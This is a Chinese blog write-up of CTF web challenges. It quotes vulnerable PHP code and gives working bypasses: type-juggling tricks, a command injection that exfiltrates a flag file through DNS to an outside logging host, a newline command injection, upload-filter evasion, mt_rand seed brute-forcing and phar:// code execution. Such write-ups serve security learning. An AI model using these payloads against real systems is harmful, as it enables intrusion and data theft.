版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/cemao4548/article/details/83038286
这次资格赛主要都是老题目,网上都有writeup。这里学习并汇总一下。
writeup按照博主解题顺序叙述。
恐龙的奇怪特性
题目为
<?php
highlight_file(__FILE__);
ini_set("display_error", false);
error_reporting(0);
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
echo 'A_A,have fun';
}
elseif ($str<9999999999) {
echo 'A_A,too small';
}
elseif ((string)$str>0) {
echo 'A_A,too big';
}
else{
echo file_get_contents('flag.php');
}
?>
- 在url中用+或.代替_
- A_A用A+A绕过
- <=0 且 >999999明显是数组[]
- http://xxx:8080/index.php?A+A[]==admin
- html中即可看到flag
ping
robots.txt看网页,index.txt如下
<?php include("where_is_flag.php");
echo "ping";
$ip =(string)$_GET['ping'];
$ip =str_replace(">","0.0",$ip);
system("ping ".$ip);
一开始以为是命令注入,但后来尝试没有回显。尝试用sed修改文件,有没有效果。
正确的解法是用DNS后门。
http://xxx.com:8080/index.php?ping='cat where_is_flag.php|sed s/[[:space:]]//g'.yulige.ceye.io
ping也能把你ping挂
- %0A截断命令
http://xxx:6664/ping.php?ip=0.0.0.0%0Adir
- you_find_upload.php界面查看源码,1.php.jpg这样绕过
- 将php文件压缩成zip
- 1.zip.jpg上传通过
- mt_srand的参数在一定时可爆破mt_rand()
爆破代码如下
<?php
$t = $_GET['r'];
for ($i=1; $i<9000 ; $i++) {
mt_srand($i);
$r = mt_rand();
if($r == $t){
echo "seed".$i."\n";
break;
}
}
mt_srand($i);
echo mt_rand()."<br>\n";
echo mt_rand();
?>
- 用伪协议访问上传的文件1.png
- http://xxx.com:8080/you_find_upload.php?p=phar://upload//30002326_1.png/1
- 即可执行php脚本